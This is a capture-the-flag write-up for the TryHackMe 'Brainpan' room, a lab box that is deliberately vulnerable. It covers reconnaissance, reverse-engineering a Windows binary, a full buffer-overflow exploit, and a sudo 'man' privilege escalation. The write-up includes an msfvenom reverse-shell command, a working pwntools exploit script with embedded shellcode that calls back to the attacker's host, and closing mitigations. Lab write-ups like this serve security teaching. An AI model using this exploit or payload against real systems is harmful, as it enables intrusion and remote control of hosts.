# THM - Brainpan

| Room  | Brainpan                                 |
| ----- | ---------------------------------------- |
| OS    | :penguin: Linux                          |
| Level | <mark style="color:red;">**Hard**</mark> |
| Link  | <https://tryhackme.com/room/brainpan>    |

{% hint style="info" %}
This box is a little different than the others. The description reveals that the target is meant as a practice for the OSCP buffer overflow so that's what we'll be focusing on.
{% endhint %}

## Reconnaissance

We begin with the typical port scan to see what's open on the target `brainpan.thm`:

![Results of portcat](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FgSAs4ETPHREW9hfgSVqE%2Fbrainpan-portscan.png?alt=media\&token=4b1a36e4-f582-4a29-a8dc-673718ea46e4)

We get two uncommon ports so let's run an `nmap` scan to get a better idea of what's running.

{% tabs %}
{% tab title="Command" %}

```bash
sudo nmap -A -p9999,10000 --script=vuln,default brainpan.thm
```

{% endtab %}

{% tab title="Output" %}

```
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:python:simplehttpserver:0.6: 
|     	NODEJS:744	5.0	https://vulners.com/nodejs/NODEJS:744
|_    	NODEJS:585	3.5	https://vulners.com/nodejs/NODEJS:585
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesn't have a title (text/html).
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2006-3392: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=8/4%Time=62EB83E9%P=x86_64-pc-linux-gnu%r(NUL
SF:L,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\
SF:x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x
SF:20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x2
SF:0\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x2
SF:0\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x2
SF:0_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x2
SF:0\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x2
SF:0_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x2
SF:0_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x2
SF:0THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1.1 (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Linux 2.6.32 (92%), Linux 3.0 - 3.2 (92%), Linux 3.0 - 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
```

{% endtab %}
{% endtabs %}

Apparently, port 9999 features a custom application that `nmap` can't identify. Port 10000 on the other hand appears to be a SimpleHTTP python server. Being curious of course, we connect to port 9999 with `nc` and see what's coming back:

![Oops, seems like we crashed the service running on port 9999](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FQfgopCsfQuYBQwUBOK3u%2Fbrainpan-nc.png?alt=media\&token=b04deca1-784e-418c-8216-55b5002b1bf4)

For obvious reasons we wouldn't have done something like this in production (we've just executed a successful DoS attack) but since we expect a buffer overflow we can now assume that this might be it.

{% hint style="info" %}
If we wait for a minute we'll be able to connect again. It's possible that a `cronjob` is restarting the service from time to time so we don't have to reset the target every time.
{% endhint %}

But enough *breaking stuff*, we still got a webserver to investigate.

## Service Enumeration

Visiting `http://brainpan.thm:10000/` in a browser we are greeted by a single image that contains several statistics about "safe coding". There's no interactive content, no links, no `robots.txt`. After starting a `gobuster` scan we do find something interesting though.

{% tabs %}
{% tab title="Command" %}

```bash
gobuster dir -w /usr/share/wordlists/dirb/common.txt  -u http://brainpan.thm:10000
```

{% endtab %}

{% tab title="Output" %}

```
/bin                  (Status: 301) [Size: 0] [--> /bin/]
/index.html           (Status: 200) [Size: 215]   
```

{% endtab %}
{% endtabs %}

There's a `/bin` directory. Navigating to it leads to a directory listing with a single item in it: `brainpan.exe`, which we can download.

Judging from the output of the service on port 9999 and the name of the executable, we just found the binary of that seemingly vulnerable service.

To determine the file type of the executable we use `file`:

```bash
└─$ file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windowss
```

That's interesting, it turns out to be a windows executable. However, the `nmap` scan was 95% sure that the target is running on linux. Using `ping` we can further support that assumption:

![The reported TTL value hints at the target being a linux machine](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FqAxnLueYBUWTpZ26Mp8a%2Fbrainpan-ping.png?alt=media\&token=a4c97cb3-3b21-4dd7-b1dd-faa924772acc)

{% hint style="info" %}
TTL values of 64 are usually the default on linux machines, whereas on windows we'd rather expect a value of 32 or 128. (We see 63 because of the intermediary VPN hop.)

See [this blog post](https://subinsb.com/default-device-ttl-values/) for a more detailled list of default TTL values.
{% endhint %}

We should keep this in mind when it comes to exploiting a buffer overflow in order to select the right payload.

## Initial Access (BOF)

{% hint style="info" %}
Most write-ups will show how to use Immunity Debugger. However, there's an easier way to exploit this buffer overflow without using a debugger or a windows VM.
{% endhint %}

Alright, we got the windows executable - let's analyse it. Usually we'd use something like `checksec` to extract protection mechanisms from the binary but that's for ELF only. For PE we use `pesec` instead (install this and other tools for PE analysis via `sudo apt install pev`).

```bash
└─$ pesec brainpan.exe 
ASLR:                            no
DEP/NX:                          no
SEH:                             yes
Stack cookies (EXPERIMENTAL):    no
```

No stack canaries, no data execution prevention and no address space layout randomization - how fortunate for us. Let's see what that code is actually doing by analyzing it with `Ghidra`.

![Decompiled main function of brainpan.exe](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F8GTiuyAIxzuDNhk63Ku9%2Fbrainpan-decompiled-main.png?alt=media\&token=3ce4a22b-fee2-4fae-a0f4-c511b9677fbc)

The `main` function works pretty straight forward. It follows the default socket programming procedure of creating a socket (lines <40), binding the socket to port 9999 (line 46-47) and waiting for connections with `accept` in an endless loop (line 56).

Following a successful connection of a client the banner that we saw earlier (stored in `local_400`) is send to the client (line 60). Subsequently, the server waits to receive up to 1000 bytes from the client (line 61). In line 62 the input is then passed to a function called `_get_reply`.

The rest of the code is sending either `ACCESS DENIED` or `ACCESS GRANTED` to the client, depending on the return value of `_get_reply`, before closing the connection.

Knowing that our input will be processed in `_get_reply` we decompile this function.

![Decompiled \_get\_reply function of brainpan.exe](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FHgh9G6I08jTndT8opYEw%2Fbrainpan-bof-vuln.png?alt=media\&token=1cc6d976-af23-48ab-94bc-bec7329b34c8)

The input (remember it could be up to 1000 bytes long) is copied to `local_20c` which is a 520 bytes long `char` array without any safety checks.

{% hint style="info" %}
At this point, we have confirmed the buffer overflow vulnerability and can continue to exploit it with a special crafted payload.

I have explained all following steps in detail in this article: [Buffer Overflow - Explained](https://ccat.gitbook.io/cyber-sec/how-stuff-works/buffer-overflow-explained).
{% endhint %}

Step one - finding the offset.

![Disassembled excerpt of \_get\_reply](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FkHg7wkqkOn3qFoObWqMW%2Fbrainpan-offset.png?alt=media\&token=c7fde699-0272-4fb9-929e-fa3fb71980b6)

The call to `strcpy` happens with the address `EBP-520` (signed hex represention in the screenshot)  as destination address. Meaning after 520 bytes of input we'll overwrite the base pointer. Hence, after 524 bytes we overwrite the return pointer.

{% hint style="success" %}
Offset = `524` bytes
{% endhint %}

Step two - finding a return address. We'll search for a `JMP ESP` instruction (hex: `FF E4`). Any hexeditor with a search function will work:

![Searching for a JMP ESP instruction in the executable (using hexeditor)](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FjmzbV4fE4Who9Sl5cKER%2Fbrainpan-jmpesp.png?alt=media\&token=324fdc0a-5a80-41e1-98b3-bcf69a767a12)

There's only one occurance at the file offset `0x6f3`. To get the virtual address we'll also need the image base and the data offset which we can read from the section headers with `readpe`.

![Excerpt of the extracted headers from readpe brainpan.exe (pev suite)](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2Fv2LlahXJrXoV2xBJQ7JH%2Fbrainpan-headers.png?alt=media\&token=888b11b1-65eb-445d-8f1e-85ac1d43fc49)

With the image base address at `0x31170000` and the address of the `.text` section at `0x1000` we got the virtual base address for the program code. Together with the raw offset of the code in the file (`0x400`) and the raw offset of our target address (`0x6f3`) we calculate the final address:

```
   0x31170000
+      0x1000
+       0x6f3
-       0x400
-------------
=  0x311712f3
```

We can confirm that we got the correct address by simply using the `Ghidra` search function.

![Finding the JMP ESP with a simple search](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FIl4c9sXQHxYpQIk23D2f%2Fbrainpan-ghidra-search.png?alt=media\&token=cd33546d-f5f2-4068-b20e-3deb7f017224)

{% hint style="success" %}
Return address = `0x311712f3`
{% endhint %}

Step three - creating the shellcode.

Keep in mind that we got a linux target that's probably just emulating a windows binary. If this payload doesn't work we might try using different payloads instead.

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.249.139 LPORT=4444 EXITFUNC=thread -b "\x00" -f py
```

Step four - the final exploit. Now we combine all the gathered information in a single exploit script.

```python
#!/usr/bin/env python3

from pwn import * # for easy connection

offset = 524
address = b"\xf3\x12\x17\x31" # little endian

# msfvenom payload
buf =  b""
buf += b"\xda\xc7\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\xc7\xc2"
buf += b"\x74\xb1\x12\x83\xc2\x04\x31\x42\x13\x03\x4d\xd4\x20"
buf += b"\x81\x60\x01\x53\x89\xd1\xf6\xcf\x24\xd7\x71\x0e\x08"
buf += b"\xb1\x4c\x51\xfa\x64\xff\x6d\x30\x16\xb6\xe8\x33\x7e"
buf += b"\x43\x02\x3d\xf5\x3b\x16\xbd\x18\xe0\x9f\x5c\xaa\x7e"
buf += b"\xf0\xcf\x99\xcd\xf3\x66\xfc\xff\x74\x2a\x96\x91\x5b"
buf += b"\xb8\x0e\x06\x8b\x11\xac\xbf\x5a\x8e\x62\x13\xd4\xb0"
buf += b"\x32\x98\x2b\xb2"

p = remote("brainpan.thm", 9999)
p.sendline(b"A"*offset + address + b"\x90"*32 + buf)
```

![Successful exploit of the buffer overflow resulting in a reverse shell](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FCgqY0FwC4NPYx9kFHNNi%2Fbrainpan-bof-exploit.png?alt=media\&token=8a9b412f-7f1c-4d71-a242-a7cdc583ae3b)

{% hint style="success" %}
We successfully exploited the buffer overflow and gained access to the target as user `puck`.
{% endhint %}

Looking through our home folder we notice a `checksrv.sh` script. This script is responsible for starting the `brainpan.exe` and we can see that it's indeed being emulated using `wine`. Note that a windows reverse shell would also have worked in this case.

## Privilege Escalation

The final part of this box, escalating privileges to `root`, is pretty straight forward. Checking our current permissions with `sudo -l` we discover an application that we're allowed to run as `root` without a password. When executed without an argument we're shown the usage.

One command stands out: `manual`, as it takes an input called `command`. It shows the man page for the specified command. A quick search on GTFOBins leads to a shell (`man` allows executing commands in the interactive view).&#x20;

![Final privilege escalation on brainpan.thm](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2Fdtb21mBsYr6sb7gWXyUG%2Fbrainpan-privesc.png?alt=media\&token=6575ad9b-f250-41a2-ac0c-c9e8743041d2)

{% hint style="success" %}
We finished the box and got `root` access.
{% endhint %}

## Mitigations

Although rated **hard**, this box focused only on a single very basic buffer overflow without any protection mechanisms. Mitigations for the buffer overflow alone include:

* Enabling / enforcing ASLR
* Enabling DEP
* Enabling stack canaries

However, the root cause was a single unsafe string copy operation which failed to compare the length of source and destination first. Mitigation: apply safe coding practices (or use memory safe programming languages).

For the privilege escalation:

* Avoid giving `sudo` permissions to any user other than `root` (in this case the SUID bit might have been a better choice)
